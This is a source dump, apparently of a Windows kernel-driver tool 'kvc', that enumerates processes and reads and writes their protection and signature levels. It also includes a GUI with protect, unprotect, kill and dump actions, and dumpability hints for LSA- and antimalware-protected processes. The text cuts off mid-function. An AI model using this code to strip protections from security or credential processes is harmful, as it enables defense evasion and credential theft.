                   << L"[*] PID " << pid << L" (" << processName
                   << L") protection: "
                   << Utils::GetProtectionLevelAsString(protLevel) << L"-"
                   << Utils::GetSignerTypeAsString(signerType)
                   << L" (raw: 0x"
                   << std::hex << std::uppercase
                   << static_cast<int>(currentProtection.value())
                   << std::dec << L")\n"
                   << Utils::ProcessColors::RESET;
    }

    EndDriverSession(true);
    return true;
}

bool Controller::GetProcessProtectionByName(
    const std::wstring& processName) noexcept
{
    const auto match = ResolveNameWithoutDriver(processName);
    return match && GetProcessProtection(match->Pid);
}

// ── List commands ────────────────────────────────────────────────────────────

bool Controller::ListProtectedProcesses() noexcept
{
    if (!BeginDriverSession()) { EndDriverSession(true); return false; }

    const auto processes = GetProcessList();
    EndDriverSession(true);

    Utils::EnableConsoleVirtualTerminal();
    TableFormat::PrintTableStart();

    DWORD count = 0;
    for (const auto& entry : processes) {
        if (entry.ProtectionLevel > 0) {
            ++count;
            TableFormat::PrintProcessRow(entry);
        }
    }

    TableFormat::PrintTableEnd();

    if (count == 0) {
        std::wcout << L"No protected processes found.\n";
        return false;
    }

    std::wcout << L"\nTotal protected processes: " << count
               << L"    (Try 'kvc list --gui' for interactive GUI mode)\n";
    return true;
}

bool Controller::ListProcessesBySigner(const std::wstring& signerName) noexcept
{
    const auto signerType = Utils::GetSignerTypeFromString(signerName);
    if (!signerType) {
        ERROR(L"Invalid signer type: %s", signerName.c_str());
        return false;
    }

    if (!BeginDriverSession()) { EndDriverSession(true); return false; }
    const auto processes = GetProcessList();
    EndDriverSession(true);

    Utils::EnableConsoleVirtualTerminal();
    TableFormat::PrintTableStart();

    bool foundAny = false;
    for (const auto& entry : processes) {
        if (entry.SignerType == signerType.value()) {
            foundAny = true;
            TableFormat::PrintProcessRow(entry);
        }
    }

    if (!foundAny) {
        std::wcout << Utils::ProcessColors::RESET
                   << L"\nNo processes found with signer type: "
                   << signerName << L"\n";
        return false;
    }

    TableFormat::PrintTableEnd();
    return true;
}

// ── Detailed per-process information ────────────────────────────────────────

// Prints extended protection data and a dumpability analysis for a PID.
bool Controller::PrintProcessInfo(DWORD pid) noexcept
{
    if (!BeginDriverSession()) { EndDriverSession(true); return false; }

    const auto kernelAddr = GetProcessKernelAddress(pid);
    if (!kernelAddr) {
        ERROR(L"Failed to get kernel address for PID %d", pid);
        EndDriverSession(true);
        return false;
    }

    const auto currentProtection = GetProcessProtection(kernelAddr.value());
    if (!currentProtection) {
        ERROR(L"Failed to read protection for PID %d", pid);
        EndDriverSession(true);
        return false;
    }

    const UCHAR protLevel  = Utils::GetProtectionLevel(currentProtection.value());
    const UCHAR signerType = Utils::GetSignerType(currentProtection.value());

    const auto sigLevelOffset    = m_of->GetOffset(Offset::ProcessSignatureLevel);
    const auto secSigLevelOffset = m_of->GetOffset(Offset::ProcessSectionSignatureLevel);

    const UCHAR signatureLevel = sigLevelOffset
        ? m_rtc->Read8(kernelAddr.value() + sigLevelOffset.value()).value_or(0) : 0;
    const UCHAR sectionSignatureLevel = secSigLevelOffset
        ? m_rtc->Read8(kernelAddr.value() + secSigLevelOffset.value()).value_or(0) : 0;

    const std::wstring processName = Utils::GetProcessName(pid);
    Utils::EnableConsoleVirtualTerminal();

    std::wcout << L"\n[*] Detailed Process Information:\n";
    std::wcout << L"    PID: " << pid << L" (" << processName << L")\n";

    if (protLevel == 0) {
        std::wcout << L"    Protection: NOT PROTECTED\n";
    } else {
        const wchar_t* color = Utils::GetProcessDisplayColor(
            signerType, signatureLevel, sectionSignatureLevel);
        std::wcout << color
                   << L"    Protection: "
                   << Utils::GetProtectionLevelAsString(protLevel) << L"-"
                   << Utils::GetSignerTypeAsString(signerType)
                   << L" (raw: 0x"
                   << std::hex << std::uppercase
                   << static_cast<int>(currentProtection.value())
                   << std::dec << L")"
                   << Utils::ProcessColors::RESET << L"\n";
    }

    std::wcout << L"    Signature Level: "
               << Utils::GetSignatureLevelAsString(signatureLevel)
               << L" (0x" << std::hex << static_cast<int>(signatureLevel)
               << std::dec << L")\n";
    std::wcout << L"    Section Signature Level: "
               << Utils::GetSignatureLevelAsString(sectionSignatureLevel)
               << L" (0x" << std::hex << static_cast<int>(sectionSignatureLevel)
               << std::dec << L")\n";
    std::wcout << L"    Kernel Address: 0x"
               << std::hex << kernelAddr.value() << std::dec << L"\n";

    // Dumpability analysis.
    std::wcout << L"\n[*] Dumpability Analysis:\n";
    const auto dumpability =
        Utils::CanDumpProcess(pid, processName, protLevel, signerType);
    std::wcout << L"    CanDump=" << dumpability.CanDump
               << L", Reason=" << dumpability.Reason << L"\n";

    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    CONSOLE_SCREEN_BUFFER_INFO csbi{};
    GetConsoleScreenBufferInfo(hConsole, &csbi);
    const WORD originalColor = csbi.wAttributes;

    if (dumpability.CanDump) {
        std::wcout << Utils::ProcessColors::GREEN
                   << L"    [+]  DUMPABLE: " << dumpability.Reason;
        SetConsoleTextAttribute(hConsole, originalColor);
        std::wcout << L"\n";
        if (protLevel > 0)
            std::wcout << L"    Note: Process is protected but can be dumped with elevation\n";
    } else {
        std::wcout << Utils::ProcessColors::RED
                   << L"    [-]  NOT DUMPABLE: " << dumpability.Reason;
        SetConsoleTextAttribute(hConsole, originalColor);
        std::wcout << L"\n";

        if (protLevel > 0)
            std::wcout << L"    Suggestion: Try elevating current process protection first\n";
        if (signerType == static_cast<UCHAR>(PS_PROTECTED_SIGNER::Antimalware))
            std::wcout << L"    Suggestion: Antimalware-protected processes require special handling\n";
        if (signerType == static_cast<UCHAR>(PS_PROTECTED_SIGNER::Lsa))
            std::wcout << L"    Suggestion: LSA-protected process requires PPL-Lsa or higher\n";
    }

    // Token elevation type.
    HandleGuard infoProcess(OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid));
    if (infoProcess) {
        TokenGuard token;
        if (OpenProcessToken(infoProcess.get(), TOKEN_QUERY, token.addressof())) {
            DWORD elevationType = 0, returnLength = 0;
            if (GetTokenInformation(token.get(), TokenElevationType,
                                    &elevationType, sizeof(elevationType),
                                    &returnLength))
            {
                std::wcout << L"\n[*] Process Context:\n";
                std::wcout << L"    Elevation Type: ";
                switch (elevationType) {
                case TokenElevationTypeDefault: std::wcout << L"Default\n";    break;
                case TokenElevationTypeFull:    std::wcout << L"Full (Admin)\n"; break;
                case TokenElevationTypeLimited: std::wcout << L"Limited\n";   break;
                default:                        std::wcout << L"Unknown\n";    break;
                }
            }
        }
    }

    SetConsoleTextAttribute(hConsole, originalColor);
    std::wcout << std::endl;
    EndDriverSession(true);
    return true;
}

<<<FILE: kvc/ProcessDriverSession.cpp>>>
Created:  2026-05-03 12:13:59
Modified: 2026-05-03 12:13:59
Size:     3.25 KB
// ProcessDriverSession.cpp
// Manages the kernel driver session lifecycle and kernel address cache.
// All process operations that need driver I/O acquire a session through
// BeginDriverSession / EndDriverSession, which handle load-on-demand,
// keep-alive windows, and cache invalidation.

#include "Controller.h"
#include "common.h"
#include "Utils.h"
#include <chrono>

// ── Driver session lifecycle ─────────────────────────────────────────────────

// Reuses an existing session if it was used within the last 5 s;
// otherwise loads the driver and opens a fresh session.
bool Controller::BeginDriverSession()
{
    if (m_driverSessionActive) {
        if (std::chrono::steady_clock::now() - m_lastDriverUsage < std::chrono::seconds(5)) {
            UpdateDriverUsageTimestamp();
            return true;
        }
    }

    if (!EnsureDriverAvailable()) {
        ERROR(L"Failed to load driver for session");
        return false;
    }

    m_driverSessionActive = true;
    UpdateDriverUsageTimestamp();
    return true;
}

// Tears down the driver session.
// With force=false the session is kept alive for another 10 s after last use,
// allowing successive calls to reuse the same session cheaply.
// With force=true the session is ended immediately and all caches are cleared.
void Controller::EndDriverSession(bool force)
{
    if (!m_driverSessionActive)
        return;

    if (!force) {
        if (std::chrono::steady_clock::now() - m_lastDriverUsage < std::chrono::seconds(10))
            return;
    }

    PerformAtomicCleanup();
    m_driverSessionActive = false;
    m_kernelAddressCache.clear();
    m_cachedProcessList.clear();
}

void Controller::UpdateDriverUsageTimestamp()
{
    m_lastDriverUsage = std::chrono::steady_clock::now();
}

// ── Kernel address cache ─────────────────────────────────────────────────────

// Rebuilds the PID→EPROCESS address map from a fresh process enumeration.
void Controller::RefreshKernelAddressCache()
{
    m_kernelAddressCache.clear();
    for (const auto& entry : GetProcessList())
        m_kernelAddressCache[entry.Pid] = entry.KernelAddress;
    m_cacheTimestamp = std::chrono::steady_clock::now();
}

// Returns a cached EPROCESS address for the given PID.
// The cache is refreshed if it is empty or older than 30 s.
// Falls back to a fresh process-list scan if the PID is not in the cache.
std::optional<ULONG_PTR> Controller::GetCachedKernelAddress(DWORD pid)
{
    const auto now = std::chrono::steady_clock::now();
    if (m_kernelAddressCache.empty() ||
        (now - m_cacheTimestamp) > std::chrono::seconds(30))
    {
        RefreshKernelAddressCache();
    }

    if (auto it = m_kernelAddressCache.find(pid);
        it != m_kernelAddressCache.end())
        return it->second;

    // Cache miss after refresh — do a single targeted scan.
    for (const auto& entry : GetProcessList()) {
        if (entry.Pid == pid) {
            m_kernelAddressCache[pid] = entry.KernelAddress;
            return entry.KernelAddress;
        }
    }

    ERROR(L"PID %d not found in process list", pid);
    return std::nullopt;
}

<<<FILE: kvc/ProcessEnumerator.cpp>>>
Created:  2026-05-03 12:13:59
Modified: 2026-05-03 12:13:59
Size:     12.93 KB
// ProcessEnumerator.cpp
// Kernel-assisted process enumeration, name resolution, and pattern matching.
//
// Core flow: GetProcessList() walks the EPROCESS doubly-linked list via the
// kernel driver, decorates each entry with user-mode data from a single
// Toolhelp32 snapshot, and returns a flat vector of ProcessEntry structs.
// Higher-level finders (FindProcessesByName, ResolveProcessName) operate on
// top of that vector and never touch the driver directly.

#include "Controller.h"
#include "common.h"
#include "Utils.h"
#include <tlhelp32.h>
#include <regex>
#include <unordered_map>

extern volatile bool g_interrupted;

// ── Internal helpers ─────────────────────────────────────────────────────────

// Builds a PID→exe-name map from a single Toolhelp32 snapshot.
// One snapshot for the whole enumeration avoids per-PID OpenProcess() calls.
static std::unordered_map<DWORD, std::wstring> BuildProcessNameMap() noexcept
{
    std::unordered_map<DWORD, std::wstring> map;
    map.reserve(512);

    SnapshotGuard snap(CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0));
    if (!snap) return map;

    PROCESSENTRY32W pe{sizeof(PROCESSENTRY32W)};
    if (Process32FirstW(snap.get(), &pe)) {
        do {
            map.emplace(pe.th32ProcessID, pe.szExeFile);
        } while (Process32NextW(snap.get(), &pe));
    }
    return map;
}

// ── Kernel address primitives ────────────────────────────────────────────────

// Returns the kernel address of PsInitialSystemProcess (the head of the
// EPROCESS linked list).
std::optional<ULONG_PTR> Controller::GetInitialSystemProcessAddress() noexcept
{
    const auto kernelBase = Utils::GetKernelBaseAddress();
    const auto offset     = m_of->GetOffset(Offset::KernelPsInitialSystemProcess);
    if (!kernelBase || !offset) return std::nullopt;

    const ULONG_PTR pPsInitialSystemProcess =
        Utils::GetKernelAddress(kernelBase.value(), offset.value());
    return m_rtc->ReadPtr(pPsInitialSystemProcess);
}

// Locates the EPROCESS address for a PID by walking the full process list.
std::optional<ULONG_PTR> Controller::GetProcessKernelAddress(DWORD pid) noexcept
{
    for (const auto& entry : GetProcessList()) {
        if (entry.Pid == pid)
            return entry.KernelAddress;
    }
    DEBUG(L"Kernel address not available for PID %d", pid);
    return std::nullopt;
}

// Reads the PS_PROTECTION byte from EPROCESS at the dynamic offset.
std::optional<UCHAR> Controller::GetProcessProtection(ULONG_PTR addr) noexcept
{
    const auto offset = m_of->GetOffset(Offset::ProcessProtection);
    return offset ? m_rtc->Read8(addr + offset.value()) : std::nullopt;
}

// Writes the PS_PROTECTION byte to EPROCESS.
bool Controller::SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept
{
    const auto offset = m_of->GetOffset(Offset::ProcessProtection);
    return offset && m_rtc->Write8(addr + offset.value(), protection);
}

// Overwrites both SignatureLevel and SectionSignatureLevel in EPROCESS.
bool Controller::SetProcessSignatures(ULONG_PTR addr,
                                       UCHAR exeSig, UCHAR dllSig) noexcept
{
    const auto sigOffset    = m_of->GetOffset(Offset::ProcessSignatureLevel);
    const auto secSigOffset = m_of->GetOffset(Offset::ProcessSectionSignatureLevel);

    bool ok = true;
    if (sigOffset)    ok &= m_rtc->Write8(addr + sigOffset.value(),    exeSig);
    if (secSigOffset) ok &= m_rtc->Write8(addr + secSigOffset.value(), dllSig);
    return ok;
}

// ── Process list enumeration ─────────────────────────────────────────────────

// Enumerates all processes by walking the kernel EPROCESS linked list.
// Offsets are hoisted out of the loop. Names come from a single Toolhelp32
// snapshot; protected processes that are invisible to Toolhelp32 fall back
// to Utils::GetProcessName / ResolveUnknownProcessLocal.
// Aborts early if g_interrupted is set (e.g. Ctrl-C handler).
std::vector<ProcessEntry> Controller::GetProcessList() noexcept
{
    std::vector<ProcessEntry> processes;
    if (g_interrupted) {
        INFO(L"Process enumeration cancelled by user before start");
        return processes;
    }

    const auto initialProcess = GetInitialSystemProcessAddress();
    if (!initialProcess) return processes;

    // Hoist offset lookups — map finds are cheap but not free per iteration.
    const auto uniqueIdOffset    = m_of->GetOffset(Offset::ProcessUniqueProcessId);
    const auto linksOffset       = m_of->GetOffset(Offset::ProcessActiveProcessLinks);
    const auto sigLevelOffset    = m_of->GetOffset(Offset::ProcessSignatureLevel);
    const auto secSigLevelOffset = m_of->GetOffset(Offset::ProcessSectionSignatureLevel);

    if (!uniqueIdOffset || !linksOffset) return processes;

    const auto nameMap = BuildProcessNameMap();
    processes.reserve(512);

    ULONG_PTR current   = initialProcess.value();
    DWORD     processCount = 0;
    constexpr DWORD kMaxProcesses = 10'000;

    do {
        if (g_interrupted) break;

        const auto pidPtr    = m_rtc->ReadPtr(current + uniqueIdOffset.value());
        const auto protection = GetProcessProtection(current);

        if (g_interrupted) break;

        if (pidPtr && protection) {
            const ULONG_PTR pidValue = pidPtr.value();
            if (pidValue > 0 && pidValue <= MAXDWORD) {
                ProcessEntry entry{};
                entry.KernelAddress         = current;
                entry.Pid                   = static_cast<DWORD>(pidValue);
                entry.ProtectionLevel       = Utils::GetProtectionLevel(protection.value());
                entry.SignerType            = Utils::GetSignerType(protection.value());
                entry.SignatureLevel        = sigLevelOffset
                    ? m_rtc->Read8(current + sigLevelOffset.value()).value_or(0) : 0;
                entry.SectionSignatureLevel = secSigLevelOffset
                    ? m_rtc->Read8(current + secSigLevelOffset.value()).value_or(0) : 0;

                if (g_interrupted) break;

                if (const auto it = nameMap.find(entry.Pid); it != nameMap.end()) {
                    entry.ProcessName = it->second;
                } else {
                    // Protected processes (e.g. csrss.exe PPL-WinTcb) may be
                    // hidden from Toolhelp32 but accessible via a direct open.
                    std::wstring fallback = Utils::GetProcessName(entry.Pid);
                    entry.ProcessName = (fallback != L"[Unknown]")
                        ? fallback
                        : Utils::ResolveUnknownProcessLocal(
                              entry.Pid, entry.KernelAddress,
                              entry.ProtectionLevel, entry.SignerType);
                }

                processes.push_back(std::move(entry));
                ++processCount;
            }
        }

        if (g_interrupted) break;

        const auto nextPtr = m_rtc->ReadPtr(current + linksOffset.value());
        if (!nextPtr) break;
        current = nextPtr.value() - linksOffset.value();

    } while (current != initialProcess.value()
             && !g_interrupted
             && processCount < kMaxProcesses);

    return processes;
}

// Extends GetProcessList() with user-mode data (account name, integrity level).
// Used by the GUI which needs the extra columns.
std::vector<ProcessEntry> Controller::GetAllProcessList() noexcept
{
    auto processes = GetProcessList();
    for (auto& entry : processes) {
        if (g_interrupted) break;
        entry.UserName       = Utils::GetProcessUser(entry.Pid);
        entry.IntegrityLevel = Utils::GetProcessIntegrityLevel(entry.Pid);
    }
    return processes;
}

// ── Name resolution ──────────────────────────────────────────────────────────

// Returns all processes whose name matches pattern (case-insensitive,
// supports exact, substring, and wildcard '*' matching).
// Requires an active driver session because it calls GetProcessList().
std::vector<ProcessMatch> Controller::FindProcessesByName(
    const std::wstring& pattern) noexcept
{
    std::vector<ProcessMatch> matches;
    for (const auto& entry : GetProcessList()) {
        if (IsPatternMatch(entry.ProcessName, pattern))
            matches.push_back({entry.Pid, entry.ProcessName, entry.KernelAddress});
    }
    return matches;
}

// Same as FindProcessesByName but uses only the Toolhelp32 API —
// no driver needed. KernelAddress in the returned matches will be 0.
std::vector<ProcessMatch> Controller::FindProcessesByNameWithoutDriver(
    const std::wstring& pattern) noexcept
{
    std::vector<ProcessMatch> matches;
    SnapshotGuard snapshot(CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0));
    if (!snapshot) return matches;

    PROCESSENTRY32W pe{sizeof(PROCESSENTRY32W)};
    if (Process32FirstW(snapshot.get(), &pe)) {
        do {
            if (IsPatternMatch(pe.szExeFile, pattern))
                matches.push_back({pe.th32ProcessID, pe.szExeFile, 0});
        } while (Process32NextW(snapshot.get(), &pe));
    }
    return matches;
}

// Resolves a name to exactly one match using the kernel driver.
// Fails if the name is ambiguous (multiple matches) or not found.
std::optional<ProcessMatch> Controller::ResolveProcessName(
    const std::wstring& processName) noexcept
{
    if (!BeginDriverSession()) return std::nullopt;
    const auto matches = FindProcessesByName(processName);
    EndDriverSession(/*force=*/true);

    if (matches.empty()) {
        ERROR(L"No process found matching pattern: %s", processName.c_str());
        return std::nullopt;
    }
    if (matches.size() == 1) {
        INFO(L"Found process: %s (PID %d)",
             matches[0].ProcessName.c_str(), matches[0].Pid);
        return matches[0];
    }

    ERROR(L"Multiple processes found matching pattern '%s'. "
          L"Please use a more specific name:", processName.c_str());
    for (const auto& m : matches)
        std::wcout << L"  PID " << m.Pid << L": " << m.ProcessName << L"\n";
    return std::nullopt;
}

// Same disambiguation logic as ResolveProcessName but uses Toolhelp32 only
// (no driver required). Useful for name→PID lookups before loading the driver.
std::optional<ProcessMatch> Controller::ResolveNameWithoutDriver(
    const std::wstring& processName) noexcept
{
    const auto matches = FindProcessesByNameWithoutDriver(processName);

    if (matches.empty()) {
        ERROR(L"No process found matching pattern: %s", processName.c_str());
        return std::nullopt;
    }
    if (matches.size() == 1) {
        INFO(L"Found process: %s (PID %d)",
             matches[0].ProcessName.c_str(), matches[0].Pid);
        return matches[0];
    }

    ERROR(L"Multiple processes found matching pattern '%s'. "
          L"Please use a more specific name:", processName.c_str());
    for (const auto& m : matches)
        std::wcout << L"  PID " << m.Pid << L": " << m.ProcessName << L"\n";
    return std::nullopt;
}

// ── Pattern matching ─────────────────────────────────────────────────────────

// Matches processName against pattern using, in order:
//   1. Case-insensitive exact match
//   2. Case-insensitive substring match
//   3. Wildcard '*' expansion to ECMAScript regex (case-insensitive)
// Returns false on regex compilation errors rather than throwing.
bool Controller::IsPatternMatch(const std::wstring& processName,
                                 const std::wstring& pattern) noexcept
{
    std::wstring lowerName    = processName;
    std::wstring lowerPattern = pattern;
    StringUtils::ToLower(lowerName);
    StringUtils::ToLower(lowerPattern);

    // Exact or substring match — fast path, no regex overhead.
    if (lowerName == lowerPattern ||
        lowerName.find(lowerPattern) != std::wstring::npos)
        return true;

    // Escape all regex metacharacters except '*', then expand '*' to '.*'.
    std::wstring regexPattern = lowerPattern;
    static constexpr std::wstring_view kSpecialChars = L"\\^$.+{}[]|()";
    for (wchar_t ch : kSpecialChars) {
        for (size_t pos = 0;
             (pos = regexPattern.find(ch, pos)) != std::wstring::npos; ) {
            regexPattern.insert(pos, 1, L'\\');
            pos += 2;
        }
    }
    for (size_t pos = 0;
         (pos = regexPattern.find(L'*', pos)) != std::wstring::npos; ) {
        if (pos == 0 || regexPattern[pos - 1] != L'\\') {
            regexPattern.replace(pos, 1, L".*");
            pos += 2;
        } else {
            ++pos;
        }
    }

    try {
        return std::regex_search(
            lowerName,
            std::wregex(regexPattern, std::regex_constants::icase));
    } catch (const std::regex_error&) {
        return false;
    }
}

<<<FILE: kvc/ProcessListDialog.rc>>>
Created:  2026-02-27 12:50:26
Modified: 2026-04-06 00:27:08
Size:     3.44 KB
// ProcessListDialog.rc - Resource definitions for Process List GUI

#include "ProcessListGUI_res.h" 

#define APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 2 resource.
//
#ifdef APSTUDIO_INVOKED
    #include <winres.h>
#else
    #define WIN32_LEAN_AND_MEAN
    #define NOCRYPT
    #define NOGDI
    #include <windows.h>
    #include <commctrl.h>
#endif

/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS

/////////////////////////////////////////////////////////////////////////////
// English (United States) resources

#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
#pragma code_page(1252)

#ifdef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// TEXTINCLUDE
//

1 TEXTINCLUDE 
BEGIN
    "resource.h\0"
END

2 TEXTINCLUDE 
BEGIN
    "#ifdef APSTUDIO_INVOKED\r\n"
    "    #include <winres.h>\r\n"
    "#else\r\n"
    "    #define WIN32_LEAN_AND_MEAN\r\n"
    "    #define NOCRYPT\r\n"
    "    #define NOGDI\r\n"
    "    #include <windows.h>\r\n"
    "    #include <commctrl.h>\r\n"
    "#endif\r\n"
    "\0"
END

3 TEXTINCLUDE 
BEGIN
    "\r\n"
    "\0"
END

#endif    // APSTUDIO_INVOKED


/////////////////////////////////////////////////////////////////////////////
//
// Dialog
//

IDD_PROCESS_LIST DIALOGEX 0, 0, 600, 400
STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "KVC Process List"
FONT 8, "MS Shell Dlg", 0, 0, 0x0
BEGIN
    CONTROL         "Show only protected",IDC_FILTER_PROTECTED,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,7,7,100,10
    LTEXT           "Search:",IDC_STATIC,115,9,30,8
    EDITTEXT        IDC_SEARCH_EDIT,150,7,150,14,ES_AUTOHSCROLL
    PUSHBUTTON      "Refresh",IDC_REFRESH_BUTTON,310,7,50,14
    CONTROL         "",IDC_PROCESS_LISTVIEW,"SysListView32",LVS_REPORT | LVS_SINGLESEL | LVS_SHOWSELALWAYS | WS_BORDER | WS_TABSTOP,7,25,586,350
    LTEXT           "Status: Ready",IDC_STATUS_TEXT,7,380,586,8
END

IDD_PROTECT_DIALOG DIALOGEX 0, 0, 200, 110
STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "Configure Protection"
FONT 8, "MS Shell Dlg", 0, 0, 0x0
BEGIN
    LTEXT           "Target PID: ---",IDC_LABEL_PID,10,10,180,8
    
    LTEXT           "Protection Level:",IDC_STATIC,10,25,60,8
    COMBOBOX        IDC_COMBO_LEVEL,75,23,115,50,CBS_DROPDOWNLIST | WS_VSCROLL | WS_TABSTOP

    LTEXT           "Signer Type:",IDC_STATIC,10,45,60,8
    COMBOBOX        IDC_COMBO_SIGNER,75,43,115,100,CBS_DROPDOWNLIST | WS_VSCROLL | WS_TABSTOP
    CONTROL         "Force (Overwrite existing)",IDC_CHECK_FORCE,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,10,62,180,10

    DEFPUSHBUTTON   "Protect",IDC_BTN_OK,45,75,50,14
    PUSHBUTTON      "Cancel",IDC_BTN_CANCEL,105,75,50,14
END


/////////////////////////////////////////////////////////////////////////////
//
// DESIGNINFO
//

#ifdef APSTUDIO_INVOKED
GUIDELINES DESIGNINFO
BEGIN
    IDD_PROCESS_LIST, DIALOG
    BEGIN
        LEFTMARGIN, 7
        RIGHTMARGIN, 593
        TOPMARGIN, 7
        BOTTOMMARGIN, 393
    END
    
    IDD_PROTECT_DIALOG, DIALOG
    BEGIN
        LEFTMARGIN, 7
        RIGHTMARGIN, 193
        TOPMARGIN, 7
        BOTTOMMARGIN, 103
    END
END
#endif    // APSTUDIO_INVOKED

#endif    // English (United States) resources
/////////////////////////////////////////////////////////////////////////////

<<<FILE: kvc/ProcessListGUI_res.h>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:20
Size:     0.88 KB
// ProcessListGUI_res.h - Resource IDs only (RC-safe)
#pragma once

#ifndef IDC_STATIC
#define IDC_STATIC -1
#endif

#define IDD_PROCESS_LIST        1001
#define IDC_PROCESS_LISTVIEW    1002
#define IDC_FILTER_PROTECTED    1003
#define IDC_SEARCH_EDIT         1004
#define IDC_REFRESH_BUTTON      1005
#define IDC_STATUS_TEXT         1006

#define IDD_PROTECT_DIALOG      1100
#define IDC_COMBO_LEVEL         1101
#define IDC_COMBO_SIGNER        1102
#define IDC_BTN_OK              1103
#define IDC_BTN_CANCEL          1104
#define IDC_LABEL_PID           1105
#define IDC_CHECK_FORCE         1106

#define IDM_PROTECT             2001
#define IDM_UNPROTECT           2002
#define IDM_KILL                2003
#define IDM_DUMP                2004
#define IDM_MODULES             2005
#define IDM_COPY_PID            2006
#define IDM_COPY_NAME           2007
#define IDM_COPY_PATH           2008

<<<FILE: kvc/ProcessListGUI.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:18
Size:     30.75 KB
// ProcessListGUI.cpp - Implementation of GUI process explorer window
// Provides interactive process management with sorting, filtering, and operations

#include "ProcessListGUI.h"
#include "Utils.h"
#include <windowsx.h>
#include <sstream>
#include <algorithm>

// Global instance pointer for WindowProc callback
static ProcessListWindow* g_pWindow = nullptr;

// Protection dialog parameter structure
struct ProtectionParams {
    DWORD TargetPid;
    std::wstring SelectedLevel;
    std::wstring SelectedSigner;
	bool Force;
    bool Confirmed;
};

// Dialog procedure for protection configuration
INT_PTR CALLBACK ProtectDialogProc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam) {
    static ProtectionParams* pParams = nullptr;

    switch (message) {
    case WM_INITDIALOG: {
        pParams = (ProtectionParams*)lParam;
        
        // Set target PID label
        std::wstring pidStr = L"Target PID: " + std::to_wstring(pParams->TargetPid);
        SetDlgItemText(hDlg, IDC_LABEL_PID, pidStr.c_str());

        // Populate Protection Level combo
        HWND hLevel = GetDlgItem(hDlg, IDC_COMBO_LEVEL);
        SendMessage(hLevel, CB_ADDSTRING, 0, (LPARAM)L"PPL");
        SendMessage(hLevel, CB_ADDSTRING, 0, (LPARAM)L"PP");
        SendMessage(hLevel, CB_SETCURSEL, 0, 0);

        // Populate Signer Type combo
        HWND hSigner = GetDlgItem(hDlg, IDC_COMBO_SIGNER);
        const wchar_t* signers[] = { 
            L"WinTcb", L"Windows", L"Antimalware", L"Lsa", 
            L"WinSystem", L"Authenticode", L"App", L"CodeGen" 
        };
        
        for (const auto& s : signers) {
            SendMessage(hSigner, CB_ADDSTRING, 0, (LPARAM)s);
        }
        SendMessage(hSigner, CB_SETCURSEL, 0, 0);

        return (INT_PTR)TRUE;
    }

    case WM_COMMAND:
        if (LOWORD(wParam) == IDC_BTN_OK) {
            // Get selected level
			int levelIdx = (int)SendMessage(GetDlgItem(hDlg, IDC_COMBO_LEVEL), CB_GETCURSEL, 0, 0);
			int signerIdx = (int)SendMessage(GetDlgItem(hDlg, IDC_COMBO_SIGNER), CB_GETCURSEL, 0, 0);
            
            if (levelIdx == CB_ERR || signerIdx == CB_ERR) {
                MessageBoxW(hDlg, L"Invalid selection", L"Error", MB_OK | MB_ICONERROR);
                return (INT_PTR)TRUE;
            }
            
            wchar_t buf[64];
            GetDlgItemText(hDlg, IDC_COMBO_LEVEL, buf, 64);
            pParams->SelectedLevel = buf;

            GetDlgItemText(hDlg, IDC_COMBO_SIGNER, buf, 64);
            pParams->SelectedSigner = buf;
			pParams->Force = (IsDlgButtonChecked(hDlg, IDC_CHECK_FORCE) == BST_CHECKED);
            pParams->Confirmed = true;
            EndDialog(hDlg, LOWORD(wParam));
            return (INT_PTR)TRUE;
        }
        else if (LOWORD(wParam) == IDC_BTN_CANCEL) {
            pParams->Confirmed = false;
            EndDialog(hDlg, LOWORD(wParam));
            return (INT_PTR)TRUE;
        }
        break;
    }
    return (INT_PTR)FALSE;
}

ProcessListWindow::ProcessListWindow(Controller* controller)
    : m_controller(controller)
    , m_hWnd(nullptr)
    , m_hListView(nullptr)
    , m_hFilterCheck(nullptr)
    , m_hSearchEdit(nullptr)
    , m_hRefreshButton(nullptr)
    , m_hStatusText(nullptr)
    , m_filterProtected(false)
    , m_sortColumn(-1)
    , m_sortAscending(true)
{
    // Initialize common controls
    INITCOMMONCONTROLSEX icex;
    icex.dwSize = sizeof(INITCOMMONCONTROLSEX);
    icex.dwICC = ICC_LISTVIEW_CLASSES | ICC_STANDARD_CLASSES;
    InitCommonControlsEx(&icex);
}

ProcessListWindow::~ProcessListWindow()
{
    if (m_hWnd) {
        DestroyWindow(m_hWnd);
    }
}

// Creates and displays the main window
void ProcessListWindow::Show()
{
    if (!CreateMainWindow()) {
        ERROR(L"Failed to create main window");
        return;
    }
    
    RefreshProcessList();
    ShowWindow(m_hWnd, SW_SHOW);
    UpdateWindow(m_hWnd);
    
    // Message loop
    MSG msg = {};
    while (GetMessage(&msg, nullptr, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
}

// Creates the main window frame
bool ProcessListWindow::CreateMainWindow()
{
    const wchar_t* className = L"KVCProcessListWindow";
    
    WNDCLASSEXW wc = {};
    wc.cbSize = sizeof(WNDCLASSEXW);
    wc.style = CS_HREDRAW | CS_VREDRAW;
    wc.lpfnWndProc = WindowProc;
    wc.hInstance = GetModuleHandle(nullptr);
    wc.hCursor = LoadCursor(nullptr, IDC_ARROW);
    wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
    wc.lpszClassName = className;
    
    if (!RegisterClassExW(&wc)) {
        DWORD lastError = GetLastError();
        if (lastError != ERROR_CLASS_ALREADY_EXISTS) {
            return false;
        }
    }
